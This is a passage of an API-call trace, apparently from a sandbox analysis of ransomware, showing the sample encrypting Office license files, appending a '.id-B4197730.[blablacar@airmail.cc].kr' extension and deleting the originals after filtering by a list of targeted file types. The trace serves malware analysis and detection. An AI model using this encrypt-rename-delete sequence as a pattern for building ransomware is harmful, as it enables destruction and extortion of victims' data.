(lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87 [0207.190] lstrlenW (lpString=".doc") returned 4 [0207.190] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0207.190] lstrlenW (lpString=".docx") returned 5 [0207.190] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0207.190] lstrlenW (lpString=".pdf") returned 4 [0207.190] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0207.190] lstrlenW (lpString=".xls") returned 4 [0207.190] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0207.190] lstrlenW (lpString=".xlsx") returned 5 [0207.190] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0207.190] lstrlenW (lpString=".ppt") returned 4 [0207.190] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0207.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87 [0207.190] lstrlenW (lpString=".zip") returned 4 [0207.190] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0207.190] lstrlenW (lpString=".rar") returned 4 [0207.191] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0207.191] lstrlenW (lpString=".bz2") returned 4 [0207.191] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0207.191] lstrlenW (lpString=".7z") returned 3 [0207.191] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0207.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87 [0207.191] lstrlenW (lpString=".dbf") returned 4 [0207.191] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0207.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87 [0207.191] lstrlenW (lpString=".1cd") returned 4 [0207.191] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0207.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87 [0207.191] lstrlenW (lpString=".jpg") returned 4 [0207.191] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0207.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87 [0207.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87 [0207.191] lstrlenW (lpString=".doc") returned 4 [0207.191] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0207.191] lstrlenW (lpString=".docx") returned 5 [0207.191] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0207.191] lstrlenW (lpString=".pdf") returned 4 [0207.191] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0207.191] lstrlenW (lpString=".xls") returned 4 [0207.191] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0207.191] lstrlenW (lpString=".xlsx") returned 5 [0207.191] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0207.191] lstrlenW (lpString=".ppt") returned 4 [0207.191] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0207.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87 [0207.191] lstrlenW (lpString=".zip") returned 4 [0207.191] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0207.191] lstrlenW (lpString=".rar") returned 4 [0207.192] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0207.192] lstrlenW (lpString=".bz2") returned 4 [0207.192] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0207.192] lstrlenW (lpString=".7z") returned 3 [0207.192] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0207.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87 [0207.192] lstrlenW (lpString=".dbf") returned 4 [0207.192] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0207.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87 [0207.192] lstrlenW (lpString=".1cd") returned 4 [0207.192] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0207.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87 [0207.192] lstrlenW (lpString=".jpg") returned 4 [0207.192] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0207.192] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0207.192] lstrlenW (lpString="O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 38 [0207.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0207.193] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=23843) returned 1 [0207.193] CloseHandle (hObject=0x3ec) returned 1 [0207.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ppd.xrm-ms")) returned 0x220 [0207.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0207.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0207.193] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.193] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0207.194] GetLastError () returned 0x0 [0207.194] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x5d23, lpOverlapped=0x0) returned 1 [0208.298] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5d30, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5d30, lpOverlapped=0x0) returned 1 [0208.299] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0208.299] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x120, lpOverlapped=0x0) returned 1 [0208.299] SetEndOfFile (hFile=0x450) returned 1 [0208.299] CloseHandle (hObject=0x450) returned 1 [0208.300] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.300] SetEndOfFile (hFile=0x3ec) returned 1 [0208.318] CloseHandle (hObject=0x3ec) returned 1 [0208.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0208.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ppd.xrm-ms")) returned 1 [0208.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88 [0208.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88 [0208.320] lstrlenW (lpString=".doc") returned 4 [0208.320] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0208.320] lstrlenW (lpString=".docx") returned 5 [0208.320] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0208.320] lstrlenW (lpString=".pdf") returned 4 [0208.320] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0208.320] lstrlenW (lpString=".xls") returned 4 [0208.320] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0208.320] lstrlenW (lpString=".xlsx") returned 5 [0208.320] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0208.320] lstrlenW (lpString=".ppt") returned 4 [0208.320] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0208.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88 [0208.320] lstrlenW (lpString=".zip") returned 4 [0208.320] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0208.320] lstrlenW (lpString=".rar") returned 4 [0208.320] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0208.320] lstrlenW (lpString=".bz2") returned 4 [0208.320] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0208.320] lstrlenW (lpString=".7z") returned 3 [0208.320] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0208.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88 [0208.320] lstrlenW (lpString=".dbf") returned 4 [0208.320] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0208.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88 [0208.320] lstrlenW (lpString=".1cd") returned 4 [0208.320] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0208.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88 [0208.321] lstrlenW (lpString=".jpg") returned 4 [0208.321] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0208.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88 [0208.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88 [0208.321] lstrlenW (lpString=".doc") returned 4 [0208.321] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0208.321] lstrlenW (lpString=".docx") returned 5 [0208.321] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0208.321] lstrlenW (lpString=".pdf") returned 4 [0208.321] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0208.321] lstrlenW (lpString=".xls") returned 4 [0208.321] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0208.321] lstrlenW (lpString=".xlsx") returned 5 [0208.321] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0208.321] lstrlenW (lpString=".ppt") returned 4 [0208.321] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0208.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88 [0208.321] lstrlenW (lpString=".zip") returned 4 [0208.321] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0208.321] lstrlenW (lpString=".rar") returned 4 [0208.321] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0208.321] lstrlenW (lpString=".bz2") returned 4 [0208.321] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0208.321] lstrlenW (lpString=".7z") returned 3 [0208.321] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0208.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88 [0208.321] lstrlenW (lpString=".dbf") returned 4 [0208.321] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0208.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88 [0208.321] lstrlenW (lpString=".1cd") returned 4 [0208.321] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0208.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88 [0208.322] lstrlenW (lpString=".jpg") returned 4 [0208.322] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0208.322] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0208.322] lstrlenW (lpString="O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 37 [0208.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0208.323] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11199) returned 1 [0208.323] CloseHandle (hObject=0x3ec) returned 1 [0208.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-pl.xrm-ms")) returned 0x220 [0208.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0208.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0208.323] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.323] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0208.324] GetLastError () returned 0x0 [0208.324] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0208.326] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0208.327] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0208.327] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x11e, lpOverlapped=0x0) returned 1 [0208.327] SetEndOfFile (hFile=0x450) returned 1 [0208.327] CloseHandle (hObject=0x450) returned 1 [0208.327] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.328] SetEndOfFile (hFile=0x3ec) returned 1 [0208.330] CloseHandle (hObject=0x3ec) returned 1 [0208.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0208.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-pl.xrm-ms")) returned 1 [0209.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87 [0209.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87 [0209.147] lstrlenW (lpString=".doc") returned 4 [0209.148] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.148] lstrlenW (lpString=".docx") returned 5 [0209.148] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.148] lstrlenW (lpString=".pdf") returned 4 [0209.148] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.148] lstrlenW (lpString=".xls") returned 4 [0209.148] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.148] lstrlenW (lpString=".xlsx") returned 5 [0209.148] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.148] lstrlenW (lpString=".ppt") returned 4 [0209.148] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87 [0209.148] lstrlenW (lpString=".zip") returned 4 [0209.148] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.148] lstrlenW (lpString=".rar") returned 4 [0209.148] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.148] lstrlenW (lpString=".bz2") returned 4 [0209.148] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.148] lstrlenW (lpString=".7z") returned 3 [0209.148] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87 [0209.148] lstrlenW (lpString=".dbf") returned 4 [0209.148] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87 [0209.148] lstrlenW (lpString=".1cd") returned 4 [0209.148] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87 [0209.148] lstrlenW (lpString=".jpg") returned 4 [0209.149] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87 [0209.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87 [0209.149] lstrlenW (lpString=".doc") returned 4 [0209.149] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.149] lstrlenW (lpString=".docx") returned 5 [0209.149] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.149] lstrlenW (lpString=".pdf") returned 4 [0209.149] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.149] lstrlenW (lpString=".xls") returned 4 [0209.149] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.149] lstrlenW (lpString=".xlsx") returned 5 [0209.149] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.149] lstrlenW (lpString=".ppt") returned 4 [0209.149] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87 [0209.149] lstrlenW (lpString=".zip") returned 4 [0209.149] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.149] lstrlenW (lpString=".rar") returned 4 [0209.149] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.149] lstrlenW (lpString=".bz2") returned 4 [0209.149] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.149] lstrlenW (lpString=".7z") returned 3 [0209.149] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87 [0209.150] lstrlenW (lpString=".dbf") returned 4 [0209.150] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87 [0209.150] lstrlenW (lpString=".1cd") returned 4 [0209.150] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87 [0209.150] lstrlenW (lpString=".jpg") returned 4 [0209.150] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.150] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0209.150] lstrlenW (lpString="OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 33 [0209.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0209.862] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11455) returned 1 [0209.863] CloseHandle (hObject=0x53c) returned 1 [0209.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ul-oob.xrm-ms")) returned 0x220 [0209.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0209.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0209.863] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.863] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0209.865] GetLastError () returned 0x0 [0209.865] ReadFile (in: hFile=0x53c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2cbf, lpOverlapped=0x0) returned 1 [0209.867] WriteFile (in: hFile=0x3f8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2cc0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2cc0, lpOverlapped=0x0) returned 1 [0209.868] ReadFile (in: hFile=0x53c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0209.868] WriteFile (in: hFile=0x3f8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x116, 